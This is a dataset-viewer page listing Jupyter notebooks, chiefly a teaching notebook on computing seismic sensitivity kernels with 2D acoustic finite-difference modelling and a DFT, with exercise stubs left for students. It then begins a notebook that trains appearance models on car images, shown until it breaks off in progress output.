Datasets:

codeparrot

/

github-jupyter

like 5

Follow

CodeParrot 117

daniel-koehn/Theory-of-seismic-waves-II

05_2D_acoustic_FD_modelling/lecture_notebooks/7_fdac2d_sensitivity_kernels.ipynb

1

32646

{ "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "###### Content under Creative Commons Attribution license CC-BY 4.0, code under BSD 3-Clause License © 2018 by D. Koehn, notebook style sheet by L.A. Barba, N.C. Clementi" ] }, { "cell_type": "code", "execution_count": 1, "metadata": {}, "outputs": [ { "data": { "text/html": [ "<link href=\"https://fonts.googleapis.com/css?family=Merriweather:300,300i,400,400i,700,700i,900,900i\" rel='stylesheet' >\n", "<link href=\"https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,300i,400,400i,700,700i\" rel='stylesheet' >\n", "<link href='http://fonts.googleapis.com/css?family=Source+Code+Pro:300,400' rel='stylesheet' >\n", "<style>\n", "\n", "@font-face {\n", " font-family: \"Computer Modern\";\n", " src: url('http://mirrors.ctan.org/fonts/cm-unicode/fonts/otf/cmunss.otf');\n", "}\n", "\n", "\n", "#notebook_panel { /* main background */\n", " background: rgb(245,245,245);\n", "}\n", "\n", "div.cell { /* set cell width */\n", " width: 800px;\n", "}\n", "\n", "div #notebook { /* centre the content */\n", " background: #fff; /* white background for content */\n", " width: 1000px;\n", " margin: auto;\n", " padding-left: 0em;\n", "}\n", "\n", "#notebook li { /* More space between bullet points */\n", "margin-top:0.5em;\n", "}\n", "\n", "/* draw border around running cells */\n", "div.cell.border-box-sizing.code_cell.running { \n", " border: 1px solid #111;\n", "}\n", "\n", "/* Put a solid color box around each cell and its output, visually linking them*/\n", "div.cell.code_cell {\n", " background-color: rgb(256,256,256); \n", " border-radius: 0px; \n", " padding: 0.5em;\n", " margin-left:1em;\n", " margin-top: 1em;\n", "}\n", "\n", "\n", "div.text_cell_render{\n", " font-family: 'Source Sans Pro', sans-serif;\n", " line-height: 140%;\n", " font-size: 110%;\n", " width:680px;\n", " margin-left:auto;\n", " margin-right:auto;\n", "}\n", "\n", "/* Formatting for header cells */\n", ".text_cell_render h1 {\n", " font-family: 'Merriweather', serif;\n", " font-style:regular;\n", " font-weight: bold; \n", " font-size: 250%;\n", " line-height: 100%;\n", " color: #004065;\n", " margin-bottom: 1em;\n", " margin-top: 0.5em;\n", " display: block;\n", "}\t\n", ".text_cell_render h2 {\n", " font-family: 'Merriweather', serif;\n", " font-weight: bold; \n", " font-size: 180%;\n", " line-height: 100%;\n", " color: #0096d6;\n", " margin-bottom: 0.5em;\n", " margin-top: 0.5em;\n", " display: block;\n", "}\t\n", "\n", ".text_cell_render h3 {\n", " font-family: 'Merriweather', serif;\n", "\tfont-size: 150%;\n", " margin-top:12px;\n", " margin-bottom: 3px;\n", " font-style: regular;\n", " color: #008367;\n", "}\n", "\n", ".text_cell_render h4 { /*Use this for captions*/\n", " font-family: 'Merriweather', serif;\n", " font-weight: 300; \n", " font-size: 100%;\n", " line-height: 120%;\n", " text-align: left;\n", " width:500px;\n", " margin-top: 1em;\n", " margin-bottom: 2em;\n", " margin-left: 80pt;\n", " font-style: regular;\n", "}\n", "\n", ".text_cell_render h5 { /*Use this for small titles*/\n", " font-family: 'Source Sans Pro', sans-serif;\n", " font-weight: regular;\n", " font-size: 130%;\n", " color: #e31937;\n", " font-style: italic;\n", " margin-bottom: .5em;\n", " margin-top: 1em;\n", " display: block;\n", "}\n", "\n", ".text_cell_render h6 { /*use this for copyright note*/\n", " font-family: 'Source Code Pro', sans-serif;\n", " font-weight: 300;\n", " font-size: 9pt;\n", " line-height: 100%;\n", " color: grey;\n", " margin-bottom: 1px;\n", " margin-top: 1px;\n", "}\n", "\n", " .CodeMirror{\n", " font-family: \"Source Code Pro\";\n", "\t\t\tfont-size: 90%;\n", " }\n", "/* .prompt{\n", " display: None;\n", " }*/\n", "\t\n", " \n", " .warning{\n", " color: rgb( 240, 20, 20 )\n", " } \n", "</style>\n", "<script>\n", " MathJax.Hub.Config({\n", " TeX: {\n", " extensions: [\"AMSmath.js\"], \n", " equationNumbers: { autoNumber: \"AMS\", useLabelIds: true}\n", " },\n", " tex2jax: {\n", " inlineMath: [ ['$','$'], [\"\\\\(\",\"\\\\)\"] ],\n", " displayMath: [ ['$$','$$'], [\"\\\\[\",\"\\\\]\"] ]\n", " },\n", " displayAlign: 'center', // Change this to 'center' to center equations.\n", " \"HTML-CSS\": {\n", " styles: {'.MathJax_Display': {\"margin\": 4}}\n", " }\n", " });\n", "</script>\n" ], "text/plain": [ "<IPython.core.display.HTML object>" ] }, "execution_count": 1, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# Execute this cell to load the notebook's style sheet, then ignore it\n", "from IPython.core.display import HTML\n", "css_file = '../../style/custom.css'\n", "HTML(open(css_file, \"r\").read())" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Computation of Sensitivity Kernels by 2D acoustic FD modelling\n", "\n", "Beside the modelling of seismic surveys, our 2D acoustic FD code can be used as the core of a seismic full waveform inversion (FWI) approach. A very efficient implementation is possible in the frequency domain.\n", "\n", "The aim of acoustic frequency domain FWI is to minimize the data residuals $\\mathbf{\\delta \\tilde{P} = \\tilde{P}^{mod} - \\tilde{P}^{obs}}$ between the modelled frequency domain data $\\mathbf{\\tilde{P}^{mod}}$ and field data $\\mathbf{\\tilde{P}^{obs}}$ to deduce high resolution models of the P-wave velocity distribution in the subsurface. To solve this non-linear inversion problem, an objective function E, as a measure of the data misfit, has to be defined. The classical choice is the L2-norm of the data residuals\n", "\n", "\\begin{equation} \n", "E = ||\\mathbf{\\delta \\tilde{P}}||_2 = \\frac{1}{2}\\mathbf{\\delta \\tilde{P}}^\\dagger \\mathbf{\\delta \\tilde{P}} = \\frac{1}{2} \\sum_{k=1}^{n_\\omega} \\sum_{i=1}^{ns} \\sum_{j=1}^{nr} \\delta \\tilde{P}^*(\\mathbf{x_s}_i, \\mathbf{x_r}_j, \\omega_k) \\delta \\tilde{P}(\\mathbf{x_s}_i, \\mathbf{x_r}_j, \\omega_k) \\notag\n", "\\end{equation} \n", "\n", "where ns and nr are the number of shots and receivers, $n_\\omega$ the number of discrete frequencies, $\\dagger$ the complex transpose, $*$ the complex conjugate, $\\mathbf{x_s},\\; \\mathbf{x_r}$ the source and receiver positions, respectively. The objective function can be minimized by iteratively updating the P-wave velocity $\\mathbf{Vp}$ at iteration step n, starting with an initial background model $\\mathbf{Vp_0}$, along a search direction using the **Newton** method:\n", "\n", "\\begin{equation} \n", "\\mathbf{Vp}_{n+1} = \\mathbf{Vp}_{n} - \\mu_n \\mathbf{H}_n^{-1} \\left(\\mathbf{\\frac{\\partial E}{\\partial Vp}}\\right)_n, \\notag\n", "\\end{equation} \n", "\n", "where $\\mu$ denotes the step length, $\\mathbf{\\frac{\\partial E}{\\partial Vp}}$ the gradient and ${\\mathbf H}$ the second derivative (Hessian) of the objective function with respect to $\\mathbf{Vp}$. The step length $\\mu_{n}$ can be estimated by an inexact parabolic line search.\n", "\n", "The gradient $\\mathbf{\\frac{\\partial E}{\\partial Vp}}$ can be calculated by\n", "\n", "\\begin{equation} \n", "\\mathbf{\\frac{\\partial E}{\\partial Vp}} = - \\mathbf{K}^\\dagger \\delta P, \\notag\n", "\\end{equation} \n", "\n", "where $\\mathbf{K}$ denotes the **Sensitivity Kernel**:\n", "\n", "\\begin{equation} \n", "K(x,z,\\omega) = {\\cal{Re}}\\biggl\\{\\frac{2 \\omega^2}{Vp^3} \\frac{\\tilde{P}(x,z,\\omega,\\mathbf{x_{s}}) \\tilde{G}(x,z,\\omega,\\mathbf{x_{r}})}{max(\\tilde{P}(x,z,\\omega,\\mathbf{x_{s}}))}\\biggr\\}\n", "\\end{equation} \n", "\n", "with the monochromatic forward wavefield $\\tilde{P}(x,z,\\omega,\\mathbf{x_s})$ excitated at the source position $\\mathbf{x_s}$ and the Green's function $\\tilde{G}(x,z,\\omega,\\mathbf{x_r})$ excitated at the receiver postion $\\mathbf{x_r}$, $\\cal{Re}$ denotes the real part.\n", "\n", "## Computation of monochromatic frequency domain wavefields from time-domain wavefields by Discrete Fourier Transform (DFT)\n", "\n", "To compute the sensitivity kernel eq. (1), we first need to estimate monochromatic frequency domain wavefields from the time domain wavefields. This can be easily implemented in our 2D acoustic FD code by the **Discrete Fourier Transform (DFT)** within the time-loop of the FD code. We approximate the continous Fourier transform \n", "\n", "\\begin{equation}\n", "\\tilde{f}(\\omega) = \\frac{1}{2 \\pi} \\int_{-\\infty}^{\\infty} f(t) exp(-i \\omega t) dt \\notag\n", "\\end{equation}\n", "\n", "by\n", "\n", "\\begin{equation}\n", "\\tilde{f_i}(\\omega) \\approx \\frac{1}{2 \\pi} \\sum_{n=0}^{nt} f_n(t_n) \\biggl(cos(\\omega t_n)-i\\; sin(\\omega t_n)\\biggr) dt \\notag\n", "\\end{equation}\n", "\n", "with $nt$ the number of time steps in the FD code, $\\omega = 2 \\pi f$ the circular frequency based on the frequency $f$, $i^2 = -1$. The wavefield can be further decomposed into the real \n", "\n", "\\begin{equation}\n", "Re\\{\\tilde{f_i}(\\omega)\\} \\approx \\frac{1}{2 \\pi} \\sum_{n=0}^{nt} f_n(t_n) \\biggl(cos(2 \\pi f t_n)\\biggr) dt \\notag\n", "\\end{equation}\n", "\n", "and imaginary part\n", "\n", "\\begin{equation}\n", "Im\\{\\tilde{f_i}(\\omega)\\} \\approx -\\frac{1}{2 \\pi} \\sum_{n=0}^{nt} f_n(t_n) \\biggl(sin(2 \\pi f t_n)\\biggr) dt \\notag\n", "\\end{equation}\n", "\n", "The implementation into the FD code is quite straightforward. During the time-stepping we have to multiply the time-domain pressure wavefield by a geometrical factor and add the contributions. Let's implement it into our 2D acoustic FD code and try to compute the frequency domain wavefields for a homogeneous background model and a first arrival traveltime tomography result of the Marmousi-2 model ..." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "code_folding": [ 0 ] }, "outputs": [], "source": [ "# Import Libraries \n", "# ----------------\n", "import numpy as np\n", "from numba import jit\n", "import matplotlib\n", "import matplotlib.pyplot as plt\n", "from pylab import rcParams\n", "\n", "# Ignore Warning Messages\n", "# -----------------------\n", "import warnings\n", "warnings.filterwarnings(\"ignore\")\n", "\n", "from mpl_toolkits.axes_grid1 import make_axes_locatable" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As always, we start with the definition of the basic modelling parameters ..." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "code_folding": [], "scrolled": false }, "outputs": [], "source": [ "# Definition of modelling parameters\n", "# ----------------------------------\n", "\n", "# Define model discretization\n", "nx = 500 # number of grid points in x-direction\n", "nz = 174 # number of grid points in z-direction\n", "dx = 20.0 # spatial grid point distance in x-direction (m)\n", "dz = dx # spatial grid point distance in z-direction (m)\n", "\n", "# Define xmax, zmax\n", "xmax = nx * dx\n", "zmax = nz * dz\n", "\n", "# Define maximum recording time\n", "tmax = 6.0 # maximum wave propagation time (s)\n", "\n", "# Define source and receiver position\n", "xsrc = 2000.0 # x-source position (m)\n", "zsrc = 40.0 # z-source position (m)\n", "\n", "xrec = 8000.0 # x-receiver position (m)\n", "zrec = 40.0 # z-source position (m)\n", "\n", "f0 = 10 # dominant frequency of the source (Hz)\n", "print(\"f0 = \", f0, \" Hz\")\n", "t0 = 4.0/f0 # source time shift (s)\n", "\n", "isnap = 2 # snapshot interval (timesteps)\n", "\n", "# Calculate monochromatic wavefields for discrete frequency freq\n", "freq = 5.0 # discrete frequency (Hz)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "... define a JIT-ed function for the spatial FD approximation ..." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "@jit(nopython=True) # use JIT for C-performance\n", "def update_d2px_d2pz_3pt(p, dx, dz, nx, nz, d2px, d2pz):\n", " \n", " for i in range(1, nx - 1):\n", " for j in range(1, nz - 1):\n", " \n", " d2px[i,j] = (p[i + 1,j] - 2 * p[i,j] + p[i - 1,j]) / dx**2 \n", " d2pz[i,j] = (p[i,j + 1] - 2 * p[i,j] + p[i,j - 1]) / dz**2\n", " \n", " return d2px, d2pz " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "... initialize the absorbing boundary frame ..." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# Define simple absorbing boundary frame based on wavefield damping \n", "# according to Cerjan et al., 1985, Geophysics, 50, 705-708\n", "def absorb(nx,nz):\n", "\n", " FW = 60 # thickness of absorbing frame (gridpoints) \n", " a = 0.0053\n", " \n", " coeff = np.zeros(FW)\n", " \n", " # define coefficients in absorbing frame\n", " for i in range(FW): \n", " coeff[i] = np.exp(-(a**2 * (FW-i)**2))\n", "\n", " # initialize array of absorbing coefficients\n", " absorb_coeff = np.ones((nx,nz))\n", "\n", " # compute coefficients for left grid boundaries (x-direction)\n", " zb=0 \n", " for i in range(FW):\n", " ze = nz - i - 1\n", " for j in range(zb,ze):\n", " absorb_coeff[i,j] = coeff[i]\n", "\n", " # compute coefficients for right grid boundaries (x-direction) \n", " zb=0\n", " for i in range(FW):\n", " ii = nx - i - 1\n", " ze = nz - i - 1\n", " for j in range(zb,ze):\n", " absorb_coeff[ii,j] = coeff[i]\n", "\n", " # compute coefficients for bottom grid boundaries (z-direction) \n", " xb=0 \n", " for j in range(FW):\n", " jj = nz - j - 1\n", " xb = j\n", " xe = nx - j\n", " for i in range(xb,xe):\n", " absorb_coeff[i,jj] = coeff[j]\n", "\n", " return absorb_coeff" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In the 2D FD acoustic modelling code, we implement the DFT of the time-domain wavefields, by initializing the real and imaginary parts of the pressure wavefields, calculate the trigonometric factors for the DFT within the time-loop, apply the DFT to the pressure wavefield `p` for the discrete frequency `freq` and finally return the real and imaginary parts of the frequency domain wavefields ..." ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# FD_2D_acoustic code with JIT optimization\n", "# -----------------------------------------\n", "def FD_2D_acoustic_JIT(vp,dt,dx,dz,f0,xsrc,zsrc,op,freq): \n", " \n", " # calculate number of time steps nt \n", " # ---------------------------------\n", " nt = (int)(tmax/dt)\n", " \n", " # locate source on Cartesian FD grid\n", " # ----------------------------------\n", " isrc = (int)(xsrc/dx) # source location in grid in x-direction\n", " jsrc = (int)(zsrc/dz) # source location in grid in x-direction \n", " \n", " # Source time function (Gaussian)\n", " # -------------------------------\n", " src = np.zeros(nt + 1)\n", " time = np.linspace(0 * dt, nt * dt, nt)\n", "\n", " # 1st derivative of Gaussian\n", " src = -2. * (time - t0) * (f0 ** 2) * (np.exp(- (f0 ** 2) * (time - t0) ** 2)) \n", " \n", " # define clip value: 0.1 * absolute maximum value of source wavelet\n", " clip = 0.1 * max([np.abs(src.min()), np.abs(src.max())]) / (dx*dz) * dt**2\n", " \n", " # Define absorbing boundary frame\n", " # ------------------------------- \n", " absorb_coeff = absorb(nx,nz)\n", " \n", " # Define squared vp-model\n", " # ----------------------- \n", " vp2 = vp**2\n", " \n", " # Initialize empty pressure arrays\n", " # --------------------------------\n", " p = np.zeros((nx,nz)) # p at time n (now)\n", " pold = np.zeros((nx,nz)) # p at time n-1 (past)\n", " pnew = np.zeros((nx,nz)) # p at time n+1 (present)\n", " d2px = np.zeros((nx,nz)) # 2nd spatial x-derivative of p\n", " d2pz = np.zeros((nx,nz)) # 2nd spatial z-derivative of p \n", " \n", " # INITIALIZE ARRAYS FOR REAL AND IMAGINARY PARTS OF MONOCHROMATIC WAVEFIELDS HERE! \n", " # --------------------------------------------------------------------------------\n", " # real part of the monochromatic wavefield \n", " # imaginary part of the monochromatic wavefield \n", " \n", " # Initalize animation of pressure wavefield \n", " # ----------------------------------------- \n", " fig = plt.figure(figsize=(7,3)) # define figure size\n", " extent = [0.0,xmax,zmax,0.0] # define model extension\n", " \n", " # Plot Vp-model\n", " image = plt.imshow((vp.T)/1000, cmap=plt.cm.gray, interpolation='nearest', \n", " extent=extent) \n", " \n", " # Plot pressure wavefield movie\n", " image1 = plt.imshow(p.T, animated=True, cmap=\"RdBu\", alpha=.75, extent=extent, \n", " interpolation='nearest', vmin=-clip, vmax=clip) \n", " plt.title('Pressure wavefield')\n", " plt.xlabel('x [m]')\n", " plt.ylabel('z [m]')\n", " \n", " plt.ion() \n", " plt.show(block=False)\n", " \n", " # Calculate Partial Derivatives\n", " # -----------------------------\n", " for it in range(nt):\n", " \n", " # FD approximation of spatial derivative by 3 point operator\n", " if(op==3):\n", " d2px, d2pz = update_d2px_d2pz_3pt(p, dx, dz, nx, nz, d2px, d2pz)\n", "\n", " # Time Extrapolation\n", " # ------------------\n", " pnew = 2 * p - pold + vp2 * dt**2 * (d2px + d2pz)\n", "\n", " # Add Source Term at isrc\n", " # -----------------------\n", " # Absolute pressure w.r.t analytical solution\n", " pnew[isrc,jsrc] = pnew[isrc,jsrc] + src[it] / (dx * dz) * dt ** 2\n", " \n", " # Apply absorbing boundary frame\n", " # ------------------------------\n", " p *= absorb_coeff\n", " pnew *= absorb_coeff\n", " \n", " # Remap Time Levels\n", " # -----------------\n", " pold, p = p, pnew\n", " \n", " # Calculate frequency domain wavefield at discrete frequency freq by DFT\n", " # ----------------------------------------------------------------------\n", " # time\n", " # real part\n", " # imaginary part\n", " \n", " # Estimate real and imaginary part of pressur wavefield p by DFT\n", " # --------------------------------------------------------------\n", "\n", " \n", " # display pressure snapshots \n", " if (it % isnap) == 0: \n", " image1.set_data(p.T)\n", " fig.canvas.draw()\n", " \n", " # Finalize computation of DFT\n", " \n", " # Return real and imaginary parts of the monochromatic wavefield" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Modelling monochromatic frequency domain wavefields for a homogeneous acoustic medium\n", "\n", "Now, everything is assembled to compute frequency domain wavefields. We only have to define the discrete frequency `freq` for which the monochromatic wavefields should be calculated. Let's start with a homogeneous model:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# Run 2D acoustic FD modelling with 3-point spatial operater\n", "# ----------------------------------------------------------\n", "%matplotlib notebook\n", "op = 3 # define spatial FD operator (3-point) \n", "\n", "# define homogeneous model with vp = 2500 m/s\n", "\n", "# Define time step\n", "dt = dx / (np.sqrt(2) * np.max(vp_hom))# time step (s)\n", "\n", "p_hom_re, p_hom_im = FD_2D_acoustic_JIT(vp_hom,dt,dx,dz,f0,xsrc,zsrc,op,freq)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The time domain wavefields seem to be correct. Let's take a look at the frequency domain wavefield:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "%matplotlib notebook\n", "# Plot real and imaginary parts of monochromatic wavefields\n", "clip_seis = 5e-10\n", "extent_seis = [0.0,xmax/1000,zmax/1000,0.0]\n", "\n", "ax = plt.subplot(211)\n", "plt.imshow(p_hom_re.T, cmap=plt.cm.RdBu, aspect=1, vmin=-clip_seis, \n", " vmax=clip_seis, extent=extent_seis)\n", "\n", "plt.title('Real part of monochromatic wavefield')\n", "#plt.xlabel('x [km]')\n", "ax.set_xticks([]) \n", "plt.ylabel('z [km]')\n", "\n", "\n", "plt.subplot(212)\n", "plt.imshow(p_hom_im.T, cmap=plt.cm.RdBu, aspect=1, vmin=-clip_seis, \n", " vmax=clip_seis, extent=extent_seis)\n", "plt.title('Imaginary part of monochromatic wavefield')\n", "plt.xlabel('x [km]')\n", "plt.ylabel('z [km]')\n", "plt.tight_layout()\n", "plt.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Modelling monochromatic frequency domain wavefields for the Marmousi-2 FATT model\n", "\n", "In the next step, we calculate monochromatic wavefields for the first arrival traveltime tomography (FATT) result of the Marmousi-2 model, which could be an initial model for a subsequent FWI. First, we import the FATT model to Python:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# Import FATT result for Marmousi-2 Vp model\n", "# ------------------------------------------\n", "\n", "# Define model filename\n", "name_vp = \"../marmousi-2/marmousi_II_fatt.vp\"\n", "\n", "# Open file and write binary data to vp\n", "f = open(name_vp)\n", "data_type = np.dtype ('float32').newbyteorder ('<')\n", "vp_fatt = np.fromfile (f, dtype=data_type)\n", "\n", "# Reshape (1 x nx*nz) vector to (nx x nz) matrix \n", "vp_fatt = vp_fatt.reshape(nx,nz)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# Plot Marmousi-2 vp-model\n", "# ------------------------\n", "%matplotlib notebook\n", "extent = [0, xmax/1000, zmax/1000, 0]\n", "fig = plt.figure(figsize=(7,3)) # define figure size\n", "image = plt.imshow((vp_fatt.T)/1000, cmap=plt.cm.viridis, interpolation='nearest', \n", " extent=extent)\n", "\n", "\n", "cbar = plt.colorbar(aspect=12, pad=0.02)\n", "cbar.set_label('Vp [km/s]', labelpad=10)\n", "plt.title('Marmousi-2 FATT model')\n", "plt.xlabel('x [km]')\n", "plt.ylabel('z [km]')\n", "plt.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "... and run the time-domain modelling code:" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# Run 2D acoustic FD modelling with 3-point spatial operater\n", "# ----------------------------------------------------------\n", "%matplotlib notebook\n", "op = 3 # define spatial FD operator (3-point) \n", "\n", "# Define time step by CFL criterion\n", "dt = dx / (np.sqrt(2) * np.max(vp_fatt))# time step (s)\n", "\n", "p_fatt_re, p_fatt_im = FD_2D_acoustic_JIT(vp_fatt,dt,dx,dz,f0,xsrc,zsrc,op,freq)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "%matplotlib notebook\n", "# Plot real and imaginary parts of monochromatic wavefields\n", "clip_seis = 5e-9\n", "extent_seis = [0.0,xmax/1000,zmax/1000,0.0]\n", "\n", "ax = plt.subplot(211)\n", "plt.imshow(p_fatt_re.T, cmap=plt.cm.RdBu, aspect=1, vmin=-clip_seis, \n", " vmax=clip_seis, extent=extent_seis)\n", "\n", "plt.title('Real part of monochromatic wavefield')\n", "#plt.xlabel('x [km]')\n", "ax.set_xticks([]) \n", "plt.ylabel('z [km]')\n", "\n", "\n", "plt.subplot(212)\n", "plt.imshow(p_fatt_im.T, cmap=plt.cm.RdBu, aspect=1, vmin=-clip_seis, \n", " vmax=clip_seis, extent=extent_seis)\n", "plt.title('Imaginary part of monochromatic wavefield')\n", "plt.xlabel('x [km]')\n", "plt.ylabel('z [km]')\n", "plt.tight_layout()\n", "plt.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Sensitivity Kernels\n", "\n", "The monochromatic frequency domain wavefields are the key to calculate sensitivty kernels, which will be computed in the next exercise ...\n", "\n", "##### Exercise\n", "\n", "Compute 5 Hz frequency domain sensitivity kernels \n", "\n", "\\begin{equation} \n", "K(x,z,\\omega) = {\\cal{Re}}\\biggl\\{\\frac{2 \\omega^2}{Vp^3} \\frac{\\tilde{P}(x,z,\\omega,\\mathbf{x_{s}}) \\tilde{G}(x,z,\\omega,\\mathbf{x_{r}})}{max(\\tilde{P}(x,z,\\omega,\\mathbf{x_{s}}))}\\biggr\\} \\notag\n", "\\end{equation}\n", "\n", "for the homogenous and FATT Marmousi-2 model. \n", "\n", "- The frequency domain forward wavefields $\\tilde{P}(x,z,\\omega,\\mathbf{x_{s}})$ for a source at $x_{s} = 2000.0\\; m$ and $z_{s} = 40.0\\; m$ where already computated in the previous sections of the notebook (`p_hom_re`, `p_hom_im`,`p_fatt_re`, `p_fatt_im`). You only have to compute the receiver Green's functions $\\tilde{G}(x,z,\\omega,\\mathbf{x_{r}})$ by placing a source at the receiver position $x_{r} = 8000.0\\; m$ and $z_{r} = 40.0\\; m$\n", "- Compute the sensitivity kernels $K(x,z,\\omega)$. Hint: In Python complex numbers are defined as `real_part + 1j*imag_part`. This can also be applied to `NumPy` arrays.\n", "- Plot, describe and interpret the sensitivity kernels for the homogeneous and Marmousi-2 FATT model. Where would you expect model updates in a subsequent FWI? " ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# COMPUTE RECEIVER GREEN'S FUNCTION FOR HOMOGENEOUS MODEL HERE!\n", "# -------------------------------------------------------------\n", "%matplotlib notebook\n", "op = 3 # define spatial FD operator (3-point) \n", "\n", "# Define time step\n", "dt = dx / (np.sqrt(2) * np.max(vp_hom))# time step (s)\n", "\n", "g_hom_re, g_hom_im = FD_2D_acoustic_JIT(vp_hom,dt,dx,dz,f0,xsrc,zsrc,op,freq)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "%matplotlib notebook\n", "\n", "# COMPUTE SENSITVITY KERNEL FOR HOMOGENEOUS MODEL HERE!\n", "\n", "clip = 4e-18\n", "extent = [0.0,xmax/1000,zmax/1000,0.0] # define model extension\n", "\n", "fig = plt.figure(figsize=(7,3)) # define figure size\n", "\n", "# Plot Vp-model\n", "image = plt.imshow((vp_hom.T)/1000, cmap=plt.cm.gray, interpolation='nearest', \n", " extent=extent) \n", "\n", "# Plot Sensitivity Kernel\n", "image1 = plt.imshow(K_hom.T, cmap=\"RdBu\", alpha=.75, extent=extent, \n", " interpolation='nearest', vmin=-clip, vmax=clip) \n", "plt.title('Sensitivity Kernel (homogeneous model)')\n", "plt.xlabel('x [km]')\n", "plt.ylabel('z [km]')\n", "\n", "plt.show()" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "# COMPUTE RECEIVER GREEN'S FUNCTION FOR MARMOUSI-2 FATT MODEL HERE!\n", "# -----------------------------------------------------------------\n", "%matplotlib notebook\n", "op = 3 # define spatial FD operator (3-point) \n", "\n", "# Define time step\n", "dt = dx / (np.sqrt(2) * np.max(vp_fatt))# time step (s)\n", "\n", "g_fatt_re, g_fatt_im = FD_2D_acoustic_JIT(vp_fatt,dt,dx,dz,f0,xsrc,zsrc,op,freq)" ] }, { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "%matplotlib notebook\n", "\n", "# COMPUTE SENSITVITY KERNEL FOR Marmousi-2 FATT MODEL HERE!\n", "\n", "clip = 8e-17\n", "extent = [0.0,xmax/1000,zmax/1000,0.0] # define model extension\n", "\n", "fig = plt.figure(figsize=(7,3)) # define figure size\n", "\n", "# Plot Vp-model\n", "image = plt.imshow((vp_fatt.T)/1000, cmap=plt.cm.gray, interpolation='nearest', \n", " extent=extent) \n", "\n", "# Plot Sensitivity Kernel\n", "image1 = plt.imshow(K_hom.T, cmap=\"RdBu\", alpha=.5, extent=extent, \n", " interpolation='nearest', vmin=-clip, vmax=clip) \n", "plt.title('Sensitivity Kernel (Marmousi-2 FATT model)')\n", "plt.xlabel('x [km]')\n", "plt.ylabel('z [km]')\n", "\n", "plt.show()" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## What we learned:\n", "\n", "- How to compute monochromatic frequency domain wavefields from time-domain wavefields by discrete Fourier transform (DFT)\n", "- Computation of sensitivity kernels" ] } ], "metadata": { "anaconda-cloud": {}, "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.6.5" } }, "nbformat": 4, "nbformat_minor": 1 }

gpl-3.0

patricksnape/alabortijcv2015

notebooks/Car/View0/AAMs/Build AAMs.ipynb

2

401975

{ "metadata": { "name": "", "signature": "sha256:11a2884e7654baf889093d54208d7e364078b024694885b440cda8b588c2579e" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "code", "collapsed": false, "input": [ "%matplotlib inline\n", "%pylab inline" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "Populating the interactive namespace from numpy and matplotlib\n" ] } ], "prompt_number": 1 }, { "cell_type": "heading", "level": 1, "metadata": {}, "source": [ "Load training data" ] }, { "cell_type": "code", "collapsed": false, "input": [ "import menpo.io as mio\n", "from menpo.landmark import labeller, streetscene_car_view_0\n", "from menpofast.utils import convert_from_menpo\n", "\n", "group = 'streetscene_car_view_0'\n", "\n", "training_images = []\n", "for i in mio.import_images('/data/PhD/DataBases/cars/cmu_car_data1/view0/',\n", " verbose=True, max_images=None):\n", " \n", " # convert the image from menpo Image to menpofast Image (channels at front)\n", " i = convert_from_menpo(i)\n", " \n", " labeller(i, 'PTS', eval(group))\n", " i.crop_to_landmarks_proportion_inplace(1, group=group)\n", " i = i.rescale_landmarks_to_diagonal_range(200, group=group)\n", " \n", " if i.n_channels == 3:\n", " i = i.as_greyscale(mode='average')\n", " training_images.append(i)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 0%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 1%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 